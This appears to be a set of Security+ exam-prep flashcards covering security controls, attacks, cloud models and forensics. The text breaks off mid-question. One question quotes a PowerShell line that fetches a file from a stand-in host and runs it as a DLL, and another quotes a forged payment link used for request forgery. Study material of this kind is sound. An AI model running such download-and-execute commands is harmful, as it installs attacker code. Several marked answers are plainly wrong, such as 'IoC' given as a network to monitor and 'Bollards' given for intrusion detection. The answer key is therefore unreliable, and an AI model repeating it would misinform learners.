sec3

Which of the following control types fixes a previously identified issue and mitigates a risk? A. Detective B. Corrective C. Preventative D. Finalized

B. Corrective

Which of the following uses SAML for authentication? A. TOTP B. Federation C. Kerberos D. HOTP

B. Federation

The Chief Information Security Officer wants to prevent exfiltration of sensitive information from employee cell phones when using public USB power charging stations. Which of the following would be the BEST solution to implement? A. DLP B. USB data blocker C. USB OTG D. Disabling USB ports

B. USB data blocker

An Attacker send multiple SYN packets from multiple sources.

Botnet - Enable DDOS Protection

A security analyst is tasked with classifying data to be stored on company servers. Which of the following should be classified as proprietary? A. Customers' dates of birth B. Customers' email addresses C. Marketing strategies D. Employee salaries

C. Marketing strategies

Which of the following typically uses a combination of human and artificial intelligence to analyze event data and take action without intervention? A. TTP B. OSINT C. SOAR D. SIEM

C. SOAR

Against the recommendation of the IT security analyst, a company set all user passwords on a server as "P@55w0rD". Upon review of the /etc/passwd file, an attacker found the following: alice:a8df3b6c4fd75f0617431fd248f35191df8d237f bob:2d250c5b2976b03d757f324ebd59340df96aa05e chris:ea981ec3285421d014108089f3f3f997ce0f4150 Which of the following BEST explains why the encrypted passwords do not match? A. Perfect forward secrecy B. Key stretching C. Salting D. Hashing

C. Salting

Which of the following is a risk that is specifically associated with hosting applications in the public cloud? A. Unsecured root accounts B. Zero-day C. Shared tenancy D. Insider threat

C. Shared tenancy

An information security manager for an organization is completing a PCI DSS self-assessment for the first time. Which of the following is the MOST likely reason for this type of assessment? A. An international expansion project is currently underway. B. Outside consultants utilize this tool to measure security maturity. C. The organization is expecting to process credit card information. D. A government regulator has requested this audit to be completed.

C. The organization is expecting to process credit card information.

A network engineer and a security engineer are discussing ways to monitor network operations. Which of the following is the BEST method? A. Disable Telnet and force SSH. B. Establish a continuous ping. C. Utilize an agentless monitor. D. Enable SNMPv3 with passwords

C. Utilize an agentless monitor.

During a Chief Information Security Officer (CISO) convention to discuss security awareness, the attendees are provided with a network connection to use as a resource. As the convention progresses, one of the attendees starts to notice delays in the connection, and the HTTPS site requests are reverting to HTTP. Which of the following BEST describes what is happening? A. Birthday collision on the certificate key B. DNS hijacking to reroute traffic C. Brute force to the access point D. A SSL/TLS downgrade

D. A SSL/TLS downgrade

An organization is concerned about hackers potentially entering a facility and plugging in a remotely accessible Kali Linux box. Which of the following should be the first lines of defense against such an attack? (Choose two.) A. MAC filtering B. Zero trust segmentation C. Network access control D. Access control vestibules E. Guards F. Bollards

D. Access control vestibules E. Guards

Which of the following describes the continuous delivery software development methodology? A. Waterfall B. Spiral C. V-shaped D. Agile

D. Agile

A security analyst is looking for a solution to help communicate to the leadership team the severity levels of the organization's vulnerabilities. Which of the following would BEST meet this need? A. CVE B. SIEM C. SOAR D. CVSS

D. CVSS

Which of the following involves the inclusion of code in the main codebase as soon as it is written? A. Continuous monitoring B. Continuous deployment C. Continuous validation D. Continuous integration

D. Continuous integration

Which of the following technologies is used to actively monitor for specific file types being transmitted on the network? A. File integrity monitoring B. Honeynets C. Tcpreplay D. Data loss prevention

D. Data loss prevention

An organization implemented a process that compares the settings currently configured on systems against secure configuration guidelines in order to identify any gaps. Which of the following control types has the organization implemented? A. Compensating B. Corrective C. Preventive D. Detective

D. Detective

A company acquired several other small companies. The company that acquired the others is transitioning network services to the cloud. The company wants to make sure that performance and security remain intact. Which of the following BEST meets both requirements? A. High availability B. Application security C. Segmentation D. Integration and auditing

D. Integration and auditing

Which of the following would MOST likely be identified by a credentialed scan but would be missed by an uncredentialed scan? A. Vulnerabilities with a CVSS score greater than 6.9. B. Critical infrastructure vulnerabilities on non-IP protocols. C. CVEs related to non-Microsoft systems such as printers and switches. D. Missing patches for third-party software on Windows workstations and servers.

D. Missing patches for third-party software on Windows workstations and servers.

An organization is tuning SIEM rules based off of threat intelligence reports. Which of the following phases of the incident response process does this scenario represent? A. Lessons learned B. Eradication C. Recovery D. Preparation

D. Preparation

A company is implementing BYOD and wants to ensure all users have access to the same cloud-based services. Which of the following would BEST allow the company to meet this requirement? A. IaaS B. PaaS C. MaaS D. SaaS

D. SaaS

Which of the following BEST describes data streams that are compiled through artificial intelligence that provides insight on current cyberintrusions, phishing, and other malicious cyberactivity? A. Intelligence fusion B. Review reports C. Log reviews D. Threat feeds

D. Threat feeds

A network administrator needs to determine the sequence of a server farm's logs. Which of the following should the administrator consider? (Choose two.) A. Chain of custody B. Tags C. Reports D. Time stamps E. Hash values F. Time offset

D. Time stamps F. Time offset

Which of the following holds staff accountable while escorting unauthorized personnel? A. Locks B. Badges C. Cameras D. Visitor logs

D. Visitor logs

A systems administrator is troubleshooting a server's connection to an internal web server. The administrator needs to determine the correct ports to use. Which of the following tools BEST shows which ports on the web server are in a listening state? A. ipconfig B. ssh C. ping D. netstat

D. netstat

Directory Traversal

Directory traversal is a type of HTTP exploit in which a hacker uses the software on a web server to access data in a directory other than the server's root directory. If the attempt is successful, the threat actor can view restricted files or execute commands on the server.

Directory traversal and command injection

Directory traversal or Path Traversal is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server's root directory. An Access Control List is used in the authorization process.

ISO 27001

ISO/IEC 27001 is an international standard to manage information security

the attacker uses hardware to remotely monitor a users input activity to harvest credentials.

Keylogger - Implement 2FA using a push notification

RAID

RAID is a data storage virtualization technology that combines multiple physical disk drive components into one or more logical units for the purposes of data redundancy, performance improvement, or both.

Acceptable Use Policy (AUP)

Requires a user to agree to follow it to be provided access to corporate email, information systems, and the Internet

DLP (Data Loss Prevention)

System or set of rules designed to stop leakage of sensitive information. Usually applied to Internet appliances to monitor outgoing network traffic.

UPS

Uninterruptible Power Supply

CIS Benchmarks

Using Industry Standards for Security Baselines

The attack is self propagating and compromises a SQL database using well-known credentials as it moves through the network

Worm - Change default application password

Transport Layer Security (TLS)

a cryptographic protocol that ensures data security and integrity over public networks, such as the Internet

VDI

(Virtual Desktop Infrastructure)

Which of the following describes a social engineering technique that seeks to exploit a person's sense of urgency? A. A phishing email stating a cash settlement has been awarded but will expire soon B. A smishing message stating a package is scheduled for pickup C. A vishing call that requests a donation be made to a local charity D. A SPIM notification claiming to be undercover law enforcement investigating a cybercrime

A. A phishing email stating a cash settlement has been awarded but will expire soon

A user reports falling for a phishing email to an analyst. Which of the following system logs would the analyst check FIRST? A. DNS B. Message gateway C. Network D. Authentication

A. DNS

A Chief Information Security Officer wants to ensure the organization is validating and checking the integrity of zone transfers. Which of the following solutions should be implemented? A. DNSSEC B. LDAPS C. NGFW D. DLP

A. DNSSEC

An incident response technician collected a mobile device during an investigation. Which of the following should the technician do to maintain chain of custody? A. Document the collection and require a sign-off when possession changes. B. Lock the device in a safe or other secure location to prevent theft or alteration. C. Place the device in a Faraday cage to prevent corruption of the data. D. Record the collection in a blockchain-protected public ledger.

A. Document the collection and require a sign-off when possession changes.

Which biometric error would allow an unauthorized user to access a system? A. False acceptance B. False entrance C. False rejection D. False denial

A. False acceptance

An organization is planning to open other data centers to sustain operations in the event of a natural disaster. Which of the following considerations would BEST support the organization's resiliency? A. Geographic dispersal B. Generator power C. Fire suppression D. Facility automation

A. Geographic dispersal

security administrator is evaluating remote access solutions for employees who are geographically dispersed. Which of the following would provide the MOST secure remote access? (Choose two.) A. IPSec B. SFTP C. SRTP D. LDAPS E. S/MIME F. SSL VPN

A. IPSec F. SSL VPN

A company is under investigation for possible fraud. As part of the investigation, the authorities need to review all emails and ensure data is not deleted. Which of the following should the company implement to assist in the investigation? A. Legal hold B. Chain of custody C. Data loss prevention D. Content filter

A. Legal hold

Which of the following is assured when a user signs an email using a private key? A. Non-repudiation B. Confidentiality C. Availability D. Authentication

A. Non-repudiation

Which of the following would be the BEST resource for a software developer who is looking to improve secure coding practices for web applications? A. OWASP B. Vulnerability scan results C. NIST CSF D. Third-party libraries

A. OWASP

A systems engineer wants to leverage a cloud-based architecture with low latency between network-connected devices that also reduces the bandwidth that is required by performing analytics directly on the endpoints. Which of the following would BEST meet the requirements? (Choose two.) A. Private cloud B. SaaS C. Hybrid cloud D. IaaS E. DRaaS F. Fog computing

A. Private cloud B. SaaS

On the way into a secure building, an unknown individual strikes up a conversation with an employee. The employee scans the required badge at the door while the unknown individual holds the door open, seemingly out of courtesy, for the employee. Which of the following social engineering techniques is being utilized? A. Shoulder surfing B. Watering-hole attack C. Tailgating D. Impersonation

C. Tailgating

A systems analyst is responsible for generating a new digital forensics chain-of-custody form. Which of the following should the analyst include in this documentation? (Choose two.) A. The order of volatility B. A CRC32 checksum C. The provenance of the artifacts D. The vendor's name E. The date and time F. A warning banner

C. The provenance of the artifacts E. The date and time

A candidate attempts to go to http://comptia.org but accidentally visits http://comptiia.org. The malicious website looks exactly like the legitimate website. Which of the following BEST describes this type of attack? A. Reconnaissance B. Impersonation C. Typosquatting D. Watering-hole

C. Typosquatting

A large bank with two geographically dispersed data centers is concerned about major power disruptions at both locations. Every day each location experiences very brief outages that last for a few seconds. However, during the summer a high risk of intentional brownouts that last up to an hour exists, particularly at one of the locations near an industrial smelter. Which of the following is the BEST solution to reduce the risk of data loss? A. Dual supply B. Generator C. UPS D. POU E. Daily backups

C. UPS

Which of the following is the GREATEST security concern when outsourcing code development to third-party contractors for an internet-facing application? A. Intellectual property theft B. Elevated privileges C. Unknown backdoor D. Quality assurance

C. Unknown backdoor

A company is working on mobile device security after a report revealed that users granted non-verified software access to corporate data. Which of the following is the MOST effective security control to mitigate this risk? A. Block access to application stores B. Implement OTA updates C. Update the BYOD policy D. Deploy a uniform firmware

C. Update the BYOD policy

A recent audit cited a risk involving numerous low-criticality vulnerabilities created by a web application using a third-party library. The development staff state there are still customers using the application even though it is end of life and it would be a substantial burden to update the application for compatibility with more secure libraries. Which of the following would be the MOST prudent course of action? A. Accept the risk if there is a clear road map for timely decommission. B. Deny the risk due to the end-of-life status of the application. C. Use containerization to segment the application from other applications to eliminate the risk. D. Outsource the application to a third-party developer group.

C. Use containerization to segment the application from other applications to eliminate the risk.

A security analyst has been asked by the Chief Information Security Officer to: develop a secure method of providing centralized management of infrastructure reduce the need to constantly replace aging end user machines and provide a consistent user desktop experience. Which of the following BEST meets these requirements? A. BYOD B. Mobile device management C. VDI D. Containerization

C. VDI

A company has a flat network in the cloud. The company needs to implement a solution to segment its production and non-production servers without migrating servers to a new network. Which of the following solutions should the company implement? A. Intranet B. Screened subnet C. VLAN segmentation D. Zero Trust

C. VLAN segmentation

The technology department at a large global company is expanding its Wi-Fi network infrastructure at the headquarters building. Which of the following should be closely coordinated between the technology, cybersecurity, and physical security departments? Select 1 A. Authentication protocol B. Encryption type C. WAP placement D. VPN configuration

C. WAP placement

A help desk technician receives a phone call from someone claiming to be a part of the organization's cybersecurity incident response team. The caller asks the technician to verify the network's internal firewall IP Address. Which of the following is the technician's BEST course of action? A. Direct the caller to stop by the help desk in person and hang up declining any further requests from the caller. B. Ask for the caller's name, verify the person's identity in the email directory, and provide the requested information over the phone. C. Write down the phone number of the caller if possible, the name of the person requesting the information, hang up, and notify the organization's cybersecurity officer. D. Request the caller send an email for identity verification and provide the requested information via email to the caller.

C. Write down the phone number of the caller if possible, the name of the person requesting the information, hang up, and notify the organization's cybersecurity officer.5

During a recent security assessment, a vulnerability was found in a common OS. The OS vendor was unaware of the issue and promised to release a patch within the next quarter. Which of the following BEST describes this type of vulnerability? A. Legacy operating system B. Weak configuration C. Zero day D. Supply chain

C. Zero day

A security analyst wants to fingerprint a web server. Which of the following tools will the security analyst MOST likely use to accomplish this task? A. nmap -pl-65535 192.168.0.10 B. dig 192.168.0.10 C. curl --head http://192.168.0.10 D. ping 192.168.0.10

C. curl --head http://192.168.0.10

The manager who is responsible for a data set has asked a security engineer to apply encryption to the data on a hard disk. The security engineer is an example of a __________. A. data controller. B. data owner. C. data custodian. D. data processor.

C. data custodian.

While investigating a recent security incident, a security analyst decides to view all network connections on a particular server. Which of the following would provide the desired information? A. arp B. nslookup C. netstat D. nmap

C. netstat

An organization is concerned that its hosted web servers are not running the most updated version of the software. Which of the following would work BEST to help identify potential vulnerabilities? A. hping3 -S comptia-org -p 80 B. nc -l -v comptia.org -p 80 C. nmap comptia.org -p 80 -sV D. nslookup -port=80 comptia.org

C. nmap comptia.org -p 80 -sV

A company labeled some documents with the public sensitivity classification. This means the documents can be accessed by: A. employees of other companies and the press. B. all members of the department that created the documents. C. only the company's employees and those listed in the document. D. only the individuals listed in the documents.

C. only the company's employees and those listed in the document.

A third party asked a user to share a public key for secure communication. Which of the following file formats should the user choose to share the key? A. .pfx B. .csr C. .pvk D. .cer

D. .cer

A global pandemic is forcing a private organization to close some business units and reduce staffing at others. Which of the following would be BEST to help the organization's executives determine their next course of action? A. An incident response plan B. A communication plan C. A disaster recovery plan D. A business continuity plan

D. A business continuity plan

A security engineer is deploying a new wireless network for a company. The company shares office space with multiple tenants. Which of the following should the engineer configure on the wireless network to ensure that confidential data is not exposed to unauthorized users? A. EAP B. TLS C. HTTPS D. AES

D. AES

An organization has activated an incident response plan due to a malware outbreak on its network. The organization has brought in a forensics team that has identified an internet-facing Windows server as the likely point of initial compromise. The malware family that was detected is known to be distributed by manually logging on to servers and running the malicious code. Which of the following actions would be BEST to prevent reinfection from the infection vector? A. Prevent connections over TFTP from the internal network. B. Create a firewall rule that blocks a 22 from the internet to the server. C. Disable file sharing over port 445 to the server. D. Block port 3389 inbound from untrusted networks.

D. Block port 3389 inbound from untrusted networks.

The president of a regional bank likes to frequently provide SOC tours to potential investors. Which of the following policies BEST reduces the risk of malicious activity occurring after a tour? A. Password complexity B. Acceptable use C. Access control D. Clean desk

D. Clean desk

Which of the following can reduce vulnerabilities by avoiding code reuse? A. Memory management B. Stored procedures C. Normalization D. Code obfuscation

D. Code obfuscation

A security analyst needs to implement an MDM solution for BYOD users that will allow the company to retain control over company emails residing on the devices and limit data exfiltration that might occur if the devices are lost or stolen. Which of the following would BEST meet these requirements? (Choose two.) A. Full device encryption B. Network usage rules C. Geofencing D. Containerization E. Application approve list F. Remote control

D. Containerization F. Remote control

A security analyst is investigating some users who are being redirected to a fake website that resembles www.comptia.org. The following output was found on the naming server of the organization: Which of the following attacks has taken place? A. Domain reputation B. Domain hijacking C. Disassociation D. DNS poisoning

D. DNS poisoning

An organization's Chief Information Security Officer is creating a position that will be responsible for implementing technical controls to protect data, including ensuring backups are properly maintained. Which of the following roles would MOST likely include these responsibilities? A. Data protection officer B. Data owner C. Backup administrator D. Data custodian E. Internal auditor

D. Data custodian

Which of the following control types would be BEST to use in an accounting department to reduce losses from fraudulent transactions? A. Recovery B. Deterrent C. Corrective D. Detective

D. Detective

Which of the following controls is used to make an organization initially aware of a data compromise? A. Protective B. Preventative C. Corrective D. Detective

D. Detective

Which of the following environments utilizes dummy data and is MOST likely to be installed locally on a system that allows code to be assessed directly and modified easily with each build? A. Production B. Test C. Staging D. Development

D. Development

After returning from a conference, a user's laptop has been operating slower than normal and overheating, and the fans have been running constantly. During the diagnosis process, an unknown piece of hardware is found connected to the laptop's motherboard. Which of the following attack vectors was exploited to install the hardware? A. Removable media B. Spear phishing C. Supply chain D. Direct access

D. Direct access

An organization wants to participate in threat intelligence information sharing with peer groups. Which of the following would MOST likely meet the organization's requirement? A. Perform OSINT investigations. B. Subscribe to threat intelligence feeds. C. Submit RFCs. D. Implement a TAXII server.

D. Implement a TAXII server.

A security analyst is evaluating the risks of authorizing multiple security solutions to collect data from the company's cloud environment. Which of the following is an immediate consequence of these integrations? A. Non-compliance with data sovereignty rules B. Loss of the vendor's interoperability support C. Mandatory deployment of a SIEM solution D. Increase in the attack surface

D. Increase in the attack surface

The help desk has received calls from users in multiple locations who are unable to access core network services. The network team has identified and turned off the network switches using remote commands. Which of the following actions should the network team take NEXT? A. Disconnect all external network connections from the firewall. B. Send response teams to the network switch locations to perform updates. C. Turn on all the network switches by using the centralized management software. D. Initiate the organization's incident response plan

D. Initiate the organization's incident response plan

A security analyst is concerned about traffic initiated to the dark web from the corporate LAN. Which of the following networks should the analyst monitor? A. SFTP B. AIS C. Tor D. IoC

D. IoC

Which of the following is a benefit of including a risk management framework into an organization's security approach? A. It defines expected service levels from participating supply chain partners to ensure system outages are remediated in a timely manner. B. It identifies specific vendor products that have been tested and approved for use in a secure environment. C. It provides legal assurances and remedies in the event a data breach occurs. D. It incorporates control, development, policy, and management activities into IT operations.

D. It incorporates control, development, policy, and management activities into IT operations.

Which of the following is a policy that provides a greater depth and breadth of knowledge across an organization? A. Asset management policy B. Separation of duties policy C. Acceptable use policy D. Job rotation policy

D. Job rotation policy

A network engineer created two subnets that will be used for production and development servers. Per security policy production and development servers must each have a dedicated network that cannot communicate with one another directly. Which of the following should be deployed so that server administrators can access these devices? A. VLANs B. Internet proxy servers C. NIDS D. Jump servers

D. Jump servers

As part of a security compliance assessment, an auditor performs automated vulnerability scans. In addition, which of the following should the auditor do to complete the assessment? A. User behavior analysis B. Packet captures C. Configuration reviews D. Log analysis

D. Log analysis

A systems administrator reports degraded performance on a virtual server. The administrator increases the virtual memory allocation, which improves conditions, but performance degrades again after a few days. The administrator runs an analysis tool and sees the following output: ==3214== timeAttend.exe analyzed ==3214== ERROR SUMMARY: ==3214== malloc/free: in use at exit: 4608 bytes in 18 blocks. ==3214== checked 82116 bytes ==3214== definitely lost: 4608 bytes in 18 blocks. The administrator terminates the timeAttend.exe, observes system performance over the next few days, and notices that the system performance does not degrade. Which of the following issues is MOST likely occurring? A. DLL injection B. API attack C. Buffer overflow D. Memory leak

D. Memory leak

Which of the following organizations sets frameworks and controls for optimal security configuration on systems? A. ISO B. GDPR C. PCI DSS D. NIST

D. NIST

A security administrator needs to inspect in-transit files on the enterprise network to search for PII, credit card data, and classification words. Which of the following would be the BEST to use? A. IDS solution B. EDR solution C. HIPS software solution D. Network DLP solution

D. Network DLP solution

A penetration tester was able to compromise an internal server and is now trying to pivot the current session in a network lateral movement. Which of the following tools, if available on the server, will provide the MOST useful information for the next assessment step? A. Autopsy B. Cuckoo C. Memdump D. Nmap

D. Nmap

A retail executive recently accepted a job with a major competitor. The following week, a security analyst reviews the security logs and identifies successful logon attempts to access the departed executive's accounts. Which of the following security practices would have addressed the issue? A. A non-disclosure agreement B. Least privilege C. An acceptable use policy D. Offboarding

D. Offboarding

An organization has developed an application that needs a patch to fix a critical vulnerability. In which of the following environments should the patch be deployed LAST? A. Test B. Staging C. Development D. Production

D. Production

An application developer accidentally uploaded a company's code-signing certificate private key to a public web server. The company is concerned about malicious use of its certificate. Which of the following should the company do FIRST? A. Delete the private key from the repository. B. Verify the public key is not exposed as well. C. Update the DLP solution to check for private keys. D. Revoke the code-signing certificate.

D. Revoke the code-signing certificate.

Which of the following is the BEST action to foster a consistent and auditable incident response process? A. Incent new hires to constantly update the document with external knowledge. B. Publish the document in a central repository that is easily accessible to the organization. C. Restrict eligibility to comment on the process to subject matter experts of each IT silo. D. Rotate CIRT members to foster a shared responsibility model in the organization.

D. Rotate CIRT members to foster a shared responsibility model in the organization.

A customer service representative reported an unusual text message that was sent to the help desk. The message contained an unrecognized invoice number with a large balance due and a link to click for more details. Which of the following BEST describes this technique? A. Vishing B. Whaling C. Phishing D. Smishing

D. Smishing

A user received an SMS on a mobile phone that asked for bank details. Which of the following social-engineering techniques was used in this case? A. SPIM B. Vishing C. Spear phishing D. Smishing

D. Smishing

An organization maintains several environments in which patches are developed and tested before being deployed to an operational status. Which of the following is the environment in which patches will be deployed just prior to being put into an operational status? A. Development B. Test C. Production D. Staging

D. Staging

The IT department's on-site developer has been with the team for many years. Each time an application is released, the security team is able to identify multiple vulnerabilities. Which of the following would BEST help the team ensure the application is ready to be released to production? A. Limit the use of third-party libraries. B. Prevent data exposure queries. C. Obfuscate the source code. D. Submit the application to QA before releasing it.

D. Submit the application to QA before releasing it.

A company is moving its retail website to a public cloud provider. The company wants to tokenize credit card data but not allow the cloud provider to see the stored credit card information. Which of the following would BEST meet these objectives? A. WAF B. CASB C. VPN D. TLS

D. TLS

A company wants to build a new website to sell products online. The website will host a storefront application that will allow visitors to add products to a shopping cart and pay for the products using a credit card. Which of the following protocols would be the MOST secure to implement? A. SSL B. SFTP C. SNMP D. TLS

D. TLS

A security engineer is reviewing the logs from a SAML application that is configured to use MFA. During this review, the engineer notices a high volume of successful logins that did not require MFA from users who were traveling internationally. The application, which can be accessed without a VPN, has a policy that allows time-based tokens to be generated. Users who change locations should be required to reauthenticate but have been able to log in without doing so. Which of the following statements BEST explains the issue? A. OpenID is mandatory to make the MFA requirements work. B. An incorrect browser has been detected by the SAML application. C. The access device has a trusted certificate installed that is overwriting the session token. D. The user's IP address is changing between logins, but the application is not invalidating the token.

D. The user's IP address is changing between logins, but the application is not invalidating the token.

A security analyst is receiving several alerts per user and is trying to determine if various logins are malicious. The security analyst would like to create a baseline of normal operations and reduce noise. Which of the following actions should the security analyst perform? A. Adjust the data flow from authentication sources to the SIEM. B. Disable email alerting and review the SIEM directly. C. Adjust the sensitivity levels of the SIEM correlation engine. D. Utilize behavioral analysis to enable the SIEM's learning mode.

D. Utilize behavioral analysis to enable the SIEM's learning mode.

A company is switching to a remote work model for all employees. All company and employee resources will be in the cloud. Employees must use their personal computers to access the cloud computing environment. The company will manage the operating system. Which of the following deployment models is the company implementing? A. CYOD B. MDM C. COPE D. VDI

D. VDI

A security analyst generated a file named host1.pcap and shared it with a team member who is going to use it for further incident analysis. Which of the following tools will the other team member MOST likely use to open this file? A. Autopsy B. Memdump C. FTK imager D. Wireshark

D. Wireshark

A forensics investigator is examining a number of unauthorized payments that were reported on the company's website. Some unusual log entries show users received an email for an unwanted mailing list and clicked on a link to attempt to unsubscribe. One of the users reported the email to the phishing team, and the forwarded email revealed the link to be: <a href="https://www.company.com/payto.do? routing=00001111&acct=22223334&amount=250">Click here to unsubscribe</a> Which of the following will the forensics investigator MOST likely determine has occurred? A. SQL injection B. Broken authentication C. XSS D. XSRF

D. XSRF

A forensics investigator is examining a number of unauthorized payments that were reported on the company's website. Some unusual log entries show users received an email for an unwanted mailing list and clicked on a link to attempt to unsubscribe. One of the users reported the email to the phishing team, and the forwarded email revealed the link to be:<a href="https://www.company.com/payto.do?routing=00001111&acct=22223334&amount=250">Click here to unsubscribe</a>Which of the following will the forensics investigator MOST likely determine has occurred? A. SQL injection B. Broken authentication C. XSS D. XSRF

D. XSRF

After gaining access to a dual-homed (i.e., wired and wireless) multifunction device by exploiting a vulnerability in the device's firmware, a penetration tester then gains shell access on another networked asset. This technique is an example of: A. privilege escalation. B. footprinting. C. persistence. D. pivoting.

D. pivoting.

An organization has decided to purchase an insurance policy because a risk assessment determined that the cost to remediate the risk is greater than the five-year cost of the insurance policy. The organization is enabling risk: A. avoidance. B. acceptance. C. mitigation. D. transference.

D. transference.

Which of the following would detect intrusions at the perimeter of an airport? A. Signage B. Fencing C. Motion sensors D. Lighting E. Bollards

E. Bollards

An organization wants to implement a biometric system with the highest likelihood that an unauthorized user will be denied access. Which of the following should the organization use to compare biometric solutions? A. FRR B. Difficulty of use C. Cost D. FAR E. CER

E. CER

A company wants to modify its current backup strategy to minimize the number of backups that would need to be restored in case of data loss. Which of the following would be the BEST backup strategy to implement? A. Incremental backups followed by differential backups B. Full backups followed by incremental backups C. Delta backups followed by differential backups D. Incremental backups followed by delta backups E. Full backups followed by differential backups

E. Full backups followed by differential backups

MAC

Message authentication code. Method used to provide integrity for messages. A MAC uses a secret key to encrypt the hash. Some versions called HMAC.

The attacker establishes a connection, which allows remote commands to be executed

RAT - Implement a host based IPS

The Domain Name System Security Extensions (DNSSEC)

a feature of the Domain Name System (DNS) that authenticates responses to domain name lookups. It does not provide privacy protections for those lookups, but prevents attackers from manipulating or poisoning the responses to DNS requests.

IaC

a process that automates the provisioning and management of cloud resources. IaC software takes some input scripts describing the desired state and then communicates with the cloud vendor(s), typically through APIs, to make the reality match that desired state.

Network Attached Storage (NAS)

a server that is placed on a network with the sole purpose of providing storage to users, computers, and devices attached to the network

Advanced Persistent Threat (APT)

a sophisticated, possibly long-running computer hack that is perpetrated by large, well-funded organizations such as governments

thin client

a terminal that looks like a desktop but has limited capabilities and components

Payment Card Industry Data Security Standard (PCI DSS)

an information security standard used to handle credit cards from major card brands.

What is MAC flooding

A cyber attack aimed at compromising data transmitted to a device that is connected to a network switch. The method is based on overflowing the MAC address table for devices and their corresponding network segments.

Virtual Desktop Infrastructure (VDI)

A desktop operating system running within a virtual machine (VM) running on a server.

An employee received an email with an unusual file attachment named Updates.lnk. A security analyst is reverse engineering what the file does and finds that it executes the following script:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -URI https://somehost.com/04EB18.jpg -OutFile $env:TEMP\autoupdate.dll;Start-Process rundl132.exe $env:TEMP\autoupdate.dllWhich of the following BEST describes what the analyst found? A. A PowerShell code is performing a DLL injection. B. A PowerShell code is displaying a picture. C. A PowerShell code is configuring environmental variables. D. A PowerShell code is changing Windows Update settings.

A. A PowerShell code is performing a DLL injection.

Users are presented with a banner upon each login to a workstation. The banner mentions that users are not entitled to any reasonable expectation of privacy and access is for authorized personnel only. In order to proceed past that banner, users must click the OK button. Which of the following is this an example of? A. AUP B. NDA C. SLA D. MOU

A. AUP

Which of the following risk management strategies would an organization use to maintain a legacy system with known risks for operational purposes? A. Acceptance B. Transference C. Avoidance D. Mitigation

A. Acceptance

Which of the following controls would provide the BEST protection against tailgating? A. Access control vestibule B. Closed-circuit television C. Proximity card reader D. Faraday cage

A. Access control vestibule

A network engineer is troubleshooting wireless network connectivity issues that were reported by users. The issues are occurring only in the section of the building that is closest to the parking lot. Users are intermittently experiencing slow speeds when accessing websites and are unable to connect to network drives. The issues appear to increase when laptop users return to their desks after using their devices in other areas of the building. There have also been reports of users being required to enter their credentials on web pages in order to gain access to them. Which of the following is the MOST likely cause of this issue? A. An external access point is engaging in an evil-twin attack. B. The signal on the WAP needs to be increased in that section of the building. C. The certificates have expired on the devices and need to be reinstalled. D. The users in that section of the building are on a VLAN that is being blocked by the firewall

A. An external access point is engaging in an evil-twin attack.

DDoS attacks are causing an overload on the cluster of cloud servers. A security architect is researching alternatives to make the cloud environment respond to load fluctuation in a cost-effective way. Which of the following options BEST fulfills the architect's requirements? A. An orchestration solution that can adjust scalability of cloud assets B. Use of multipath by adding more connections to cloud storage C. Cloud assets replicated on geographically distributed regions D. An on-site backup that is displayed and only used when the load increases

A. An orchestration solution that can adjust scalability of cloud assets

After multiple on premises security solutions were migrated to the cloud, the incident response time increased. The analysts are spending a long time trying to trace information on different cloud consoles and correlating data in different formats. Which of the following can be used to optimize the incident response time? A. CASB B. VPC C. SWG D. CMS

A. CASB

An engineer wants to inspect traffic to a cluster of web servers in a cloud environment. Which of the following solutions should the engineer implement? A. CASB B. WAF C. Load balancer D. VPN

A. CASB

The Chief Information Security Officer directed a risk reduction in shadow IT and created a policy requiring all unsanctioned high-risk SaaS applications to be blocked from user access. Which of the following is the BEST security solution to reduce this risk? A. CASB B. VPN concentrator C. MFA D. VPC endpoint

A. CASB

An annual information security assessment has revealed that several OS-level configurations are not in compliance due to outdated hardening standards the company is using. Which of the following would be BEST to use to update and reconfigure the OS-level security configurations? A. CIS benchmarks B. GDPR guidance C. Regional regulations D. ISO 27001 standards

A. CIS benchmarks

Which of the following provides a calculated value for known vulnerabilities so organizations can prioritize mitigation steps? A. CVSS B. SIEM C. SOAR D. CVE

A. CVSS

Which of the following is used to ensure that evidence is admissible in legal proceedings when it is collected and provided to the authorities? A. Chain of custody B. Legal hold C. Event log D. Artifacts

A. Chain of custody

A security analyst was called to investigate a file received directly from a hardware manufacturer. The analyst is trying to determine whether the file was modified in transit before installation on the user's computer. Which of the following can be used to safely assess the file? A. Check the hash of the installation file. B. Match the file names. C. Verify the URL download location. D. Verify the code signing certificate.

A. Check the hash of the installation file.

A help desk technician receives an email from the Chief Information Officer (CIO) asking for documents. The technician knows the CIO is on vacation for a few weeks. Which of the following should the technician do to validate the authenticity of the email? A. Check the metadata in the email header of the received path in reverse order to follow the email's path. B. Hover the mouse over the CIO's email address to verify the email address. C. Look at the metadata in the email header and verify the "From:" line matches the CIO's email address. D. Forward the email to the CIO and ask if the CIO sent the email requesting the documents.

A. Check the metadata in the email header of the received path in reverse order to follow the email's path.

A company is implementing a DLP solution on the file server. The file server has PII, financial information, and health information stored on it. Depending on what type of data that is hosted on the file server, the company wants different DLP rules assigned to the data. Which of the following should the company do to help accomplish this goal? A. Classify the data. B. Mask the data. C. Assign the application owner. D. Perform a risk analysis.

A. Classify the data.

Several universities are participating in a collaborative research project and need to share compute and storage resources. Which of the following cloud deployment strategies would BEST meet this need? A. Community B. Private C. Public D. Hybrid

A. Community

A security proposal was set up to track requests for remote access by creating a baseline of the users' common sign-in properties. When a baseline deviation is detected, an MFA challenge will be triggered. Which of the following should be configured in order to deploy the proposal? A. Context-aware authentication B. Simultaneous authentication of equals C. Extensive authentication protocol D. Agentless network access control

A. Context-aware authentication

An administrator is experiencing issues when trying to upload a support file to a vendor. A pop-up message reveals that a payment card number was found in the file, and the file upload was blocked. Which of the following controls is most likely causing this issue and should be checked FIRST? A. DLP B. Firewall rule C. Content filter D. MDM E. Application allow list

A. DLP

Which of the following is an effective tool to stop or prevent the exfiltration of data from a network? A. DLP B. NIDS C. TPM D. FDE

A. DLP

An audit identified PII being utilized in the development environment of a critical application. The Chief Privacy Officer (CPO) is adamant that this data must be removed; however, the developers are concerned that without real data they cannot perform functionality tests and search for specific data. Which of the following should a security professional implement to BEST satisfy both the CPO's and the development team's requirements? A. Data anonymization B. Data encryption C. Data masking D. Data tokenization

A. Data anonymization

Which of the following is a known security risk associated with data archives that contain financial information? A. Data can become a liability if archived longer than required by regulatory guidance. B. Data must be archived off-site to avoid breaches and meet business requirements. C. Companies are prohibited from providing archived data to e-discovery requests. D. Unencrypted archives should be preserved as long as possible and encrypted.

